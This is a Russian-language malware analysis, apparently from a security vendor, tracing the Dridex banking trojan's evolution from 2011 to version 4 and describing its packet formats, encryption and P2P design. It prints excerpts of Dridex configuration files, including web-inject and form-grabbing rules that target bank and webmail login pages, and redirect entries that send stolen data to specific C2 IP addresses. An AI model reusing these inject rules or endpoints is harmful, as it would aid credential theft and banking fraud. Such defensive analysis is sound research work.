Авторы
Банковский троянец Dridex, ставший одной из главных финансовых киберугроз последних лет (в 2015 году ущерб, нанесенный им, оценивался в более чем $40 млн), отличается от других вредоносных программ тем, что, существуя с 2011 года, постоянно развивается и усложняется. Так долго избегать правосудия Dridex смог благодаря сокрытию основных командных центров за проксирующими слоями. Основываясь на том, что с появлением новых версий старые перестают работать, а каждое новое улучшение является очередным шагом в планомерном развитии зловреда, можно сделать вывод, что на протяжении всего этого времени его разработкой занимаются одни и те же люди. Ниже мы кратко расскажем о том, как на протяжении шести лет развивалось это вредоносное ПО и раскроем технические особенности его последних версий.
С чего все начиналось
Первое появление Dridex (тогда — Cridex) как самостоятельной вредоносной программы датируется примерно сентябрем 2011 года. Анализ образца Cridex (MD5: 78cc821b5acfc017c855bc7060479f84) показал, что вредоносная программа уже тогда умела получать динамический конфигурационный файл, использовать веб-инжекты для кражи денег, а также могла заражать USB-накопители. Эта особенность повлияла на имя детекта «нулевой» версии Cridex — Worm.Win32.Cridex.
Данная версия имела бинарный конфигурационный файл:
Сами веб-инжекты, благодаря секциям databefore, datainject и dataafter, были похожи на распространенную вредоносную программу Zeus (этому могла поспособствовать утечка исходных кодов Zeus в 2011 году).
Cridex 0.77–0.80
В 2012 году модификация Cridex (MD5: 45ceacdc333a6a49ef23ad87196f375f) претерпела значительные изменения: злоумышленники отказались от функции заражения USB и заменили бинарный формат конфигурационного файла и пакетов на XML. Запрос зловреда к командному серверу выглядел следующим образом:
|
1 2 3 4 5 6 7 8 9 |
<message set_hash="" req_set="1" req_upd="1"> <header> <unique>WIN-1DUOM1MNS4F_A47E8EE5C9037AFE</unique> <version>600</version> <system>221440</system> <network>10</network> </header> <data></data> </message> |
Корневым элементом XML был тег <message>. В теге <header> содержалась информация о системе, идентификаторе бота, а также версии.
А вот пример конфигурационного файла:
|
1 2 3 4 5 |
<packet><commands><cmd id="1354" type="3"><httpinject><conditions><url type="deny">\.(css|js)($|\?)</url><url type="allow" contentType="^text/(html|plain)"><![CDATA[https://.*?\.usbank\.com/]]></url></conditions><actions><modify><pattern><![CDATA[<body.*?>(.*?)]]></pattern><replacement><
Пример конфигурационного файла:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<root> <settings hash="65762ae2bf50e54757163e60efacbe144de96aca"> <httpshots> <url type="deny" onget="1" onpost="1">\.(gif|png|jpg|css|swf|ico|js)($|\?)</url> <url type="deny" onget="1" onpost="1">(resource\.axd|yimg\.com)</url> </httpshots> <formgrabber> <url type="deny">\.(swf)($|\?)</url><url type="deny">/isapi/ocget.dll</url> <url type="allow">^https?://aol.com/.*/login/</url> <url type="allow">^https?://accounts.google.com/ServiceLoginAuth</url> <url type="allow">^https?://login.yahoo.com/</url> ... <redirects> <redirect name="1st" vnc="0" socks="0" uri="http://81.208.13.10:8080/injectgate" timeout="20">twister5.js</redirect> <redirect name="2nd" vnc="1" socks="1" uri="http://81.208.13.10:8080/tokengate" timeout="20">mainsc5.js</redirect> <redirect name="vbv1" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/js.php" timeout="20">/logs/dtukvbv/js.php</redirect> <redirect name="vbv2" vnc="0" socks="0" postfwd="1" uri="http://23.254.129.192:8080/logs/dtukvbv/in.php" timeout="20">/logs/dtukvbv/in.php</redirect> </redirects> <httpinjects> <httpinject><conditions> <url type="allow" onpost="1" onget="1" modifiers="U"><![CDATA[^https\://.*/tdsecure/intro\.jsp.*]]></url> <url type="deny" onpost="0" onget="1" modifiers="">\.(gif|png|jpg|css|swf)($|\?)</url> </conditions> <actions> <modify><pattern modifiers="msU"><![CDATA[onKeyDown\=".*"]]></pattern><replacement><![CDATA[onKeyDown=""]]></replacement></modify> <modify><pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern><replacement><
Таким образом закрытие одной популярной бот-сети (Gameover Zeus) привело к резкому скачку в развитии другой, включающей в себя множество совпадений со своим предшественником.
Выше мы отметили, что Dridex начал использовать PCRE, а в предыдущих версиях зловреда использовался SLRE. Примечательно, что единственной банковской вредоносной программой, которая также использовала SLRE, был Trojan-Banker.Win32.Shifu. Этот троянец был обнаружен в августе 2015 года и распространялся посредством спама с тех же ботнетов, что и Dridex. Кроме того, и в том, и в другом банкерах использовался формат XML для конфигурационных файлов.
Также у нас есть основание полагать, что по крайней мере в 2014 году за Dridex стояли русскоговорящие злоумышленники. На это указывают комментарии в исходном коде командного сервера:
И в дампах базы данных:
Dridex: от версии 2 к версии 3
К началу 2015 года в Dridex появляется подобие пиринговой сети, что опять же напоминает нам о троянце Gameover Zeus. В данной сети некоторые пиры (суперноды) имели доступ к командному центру и перенаправляли запросы других членов сети к нему. Конфигурационный файл по-прежнему хранился в формате XML, но в него была добавлена секция <nodes>, которая сдержала список актуальных пиров. Также появилось шифрование протокола общения с командным центром.
Dridex: от версии 3 к версии 4
28 августа 2015 был арестован один из администраторов сети Dridex. В первых числах сентября перестают работать сети с идентификаторами: 120, 200, 220. Но уже в октябре они возвращаются в строй и появляются новые: 121, 122, 123, 301, 302, 303.
Интересно, что в это время ужесточаются меры предосторожности злоумышленников. В частности, вводится фильтрация по географическому положению: в пакете запроса к командному центру появилось поле IP, на основании которого определялась страна пира. Если страна не попадала в целевой список стран, то пир получал сообщение об ошибке.
В 2016 году усложнился загрузчик и поменялись методы шифрования. Протокол загрузчика изменился на бинарный, а также появилась секция <settings>, содержащая конфигурационный файл в бинарном формате.
Dridex 4.x. Back to future
Четвертая версия Dridex была обнаружена в начале 2017 года. По своим возможностям она похожа на третью, за исключением того, что злоумышленники отказались от использования XML в конфигурационном файле и пакетах и вернулись к бинарному формату. Анализ новых образцов сильно осложняется тем, что загрузчик теперь работает максимум пару дней, примерно так же было с Lurk, только там загрузчик работал пару часов.
Анализ пакетов загрузчика
Структура пакетов четвертой версии схожа с пакетами поздних модификаций версии 3.х загрузчика. Однако имена запрашиваемых модулей были заменены хэшами:
А вот функция общения с командным центром, в которой используются данные хэши:
Зная структуру пакетов предыдущей версии и сопоставив их с пакетами четвертой, можно догадаться какой хэш к какому модулю относится.
В четвертой версии Dridex достаточно много мест, где используется алгоритм хэширования CRC32: это и хэши для поиска API функций, и проверка целостности пакетов. Логично было бы предположить, что хэши в пакетах — это ни что иное как CRC32 от имен запрашиваемых модулей. Несложно проверить это предположение, выполнив следующий код Python:
Все верно, полученные хэши CRC32 соответствуют таковым в коде программы.
Если же говорить о шифровании пакетов загрузчика, то здесь ничего не изменилось. Как и в Dridex версии 3 используется алгоритм RC4 с ключом, хранящимся в зашифрованном виде в теле вредоносной программы.
Кроме того, стал значительно строже протокол авторизации загрузчиков. Время жизни сократилось до одного дня, после чего сменяются ключи шифрования, и старые загрузчики становятся бесполезны. Все устаревшие образцы получают в качестве ответа от сервера ошибку 404.
Анализ протокола и шифрования бота
В Dridex версии 4 были сохранены основные черты взаимодействия c командным сервером, пиры по-прежнему играют роль прокси и могут обмениваться модулями. Но шифрование и сама структура пакетов сильно изменились: теперь они напоминают секцию <settings> из прошлой версии Dridex. Больше никаких XML.
Функция Basic Packet Generation используется для создания пакетов для общения как с командным сервером, так и с пирами. Пакеты для командного сервера делятся на два типа:
- Регистрация, передается сгенерированный публичный ключ;
- Запрос конфигурационного файла.
На выходе данной функции получается следующий пакет:
В начале пакета идет длина RC4 ключа (74h), который будет использоваться для шифрования строк в этом пакете. Далее две части этого ключа одного размера. Настоящий ключ получается путем XOR этих блоков. Далее тип пакета (00h) и зашифрованный идентификатор бота.
Peer-to-Peer encryption
Пример зашифрованного P2P-пакета:
Заголовок в P2P-пакете – это массив DWORD, общая сумма которых равна нулю. Обфусцированный размер данных такой же, как и в предыдущее версии. А вот сами данные зашифрованы по-новому:
Сначала идет ключ 16 байт, затем 4 байта сведений о размере данных, зашифрованных предыдущим ключом с помощью RC4. Далее идет ключ 16 байт и данные, зашифрованные этим ключом с помощью RC4. После расшифровки получим пакет, сжатый gzip.
Peer to C&C encryption
При общении с командным центром используется, как и раньше, связка RSA + RC4 шифрование + HTTPS. Пиры в этом случаи работают как прокси. Структура зашифрованного пакета – 4 байта CRC далее RSA_BLOB. После расшифровки RSA (пакеты запросов расшифровать невозможно без наличия закрытого ключа командного сервера) получаем GZIP-пакет.
Конфигурационный файл
Нам удалось получить и расшифровать конфигурационный файл бот-сети 222:
По своей структуре он сильно напоминает секцию <settings> из предыдущей версии Dridex. Сначала идет 4-байтный хэш, а затем секции конфигурационного файла.
|
1 2 3 4 5 |
struct DridexConfigSection { BYTE SectionType; DWORD DataSize; BYTE Data[DataSize]; }; |
Типы секций те же, что и в <settings>:
- 01h – HttpShots
- 02h – Formgrabber
- 08h – Redirects
- etc.
Изменилось лишь шифрование строк конфигурационного файла, теперь используется RC4.
|
1 2 3 4 5 6 |
struct EncryptedConfigString{ BYTE RC4Key1[16]; // Size's encryption key DWORD EncryptedSize; BYTE RC4Key2[16]; // Data's encryption key BYTE EncryptedData[Size]; }; |
RC4 также использовалось для шифрования данных p2p-пакетов.
География распространения
Потенциальных жертв создатели Dridex ищут в Европе. В период с первого января по начало апреля 2017 года мы обнаружили активность Dridex в нескольких европейских странах. Большая часть срабатываний – почти 60% — была зафиксирована в Великобритании, следом идут Германия и Франция. В то же время зловред принципиально не работает в России – командные сервера определяют страну по IP и не отвечают, если это Россия.
Заключение
За несколько лет существования семейства Dridex не раз предпринимались безуспешные попытки прекратить активность бот-сети. Непрерывное развитие зловреда показывает, что преступники не собираются расставаться со своим детищем, которое приносит стабильный доход. Так, например, в Dridex постоянно появляются новые техники обхода системы контроля учетных записей (User Account Control, UAC), позволяющие осуществлять запуск вредоносных компонентов в Windows-системах.
Можно предположить, что за троянцами Dridex и Zeus Gameover стоят одни и те же люди, возможно, русскоговорящие. Однако утверждать это наверняка мы не можем. Невозможно точно оценить и ущерб, нанесенный киберпреступниками. По крайне приблизительной оценке, на данный момент речь может идти о сотнях миллионах долларов. А учитывая то, как развивается зловред, можно предположить, что в разработку этого банковского троянца инвестируется значительная часть «заработанных» средств.
Анализ сделан на основе следующих семплов:
Dridex4 loader: d0aa5b4dd8163eccf7c1cd84f5723d48
Dridex4 bot: ed8cdd9c6dd5a221f473ecf3a8f39933
Авторы
Содержание
В той же категории
История развития Dridex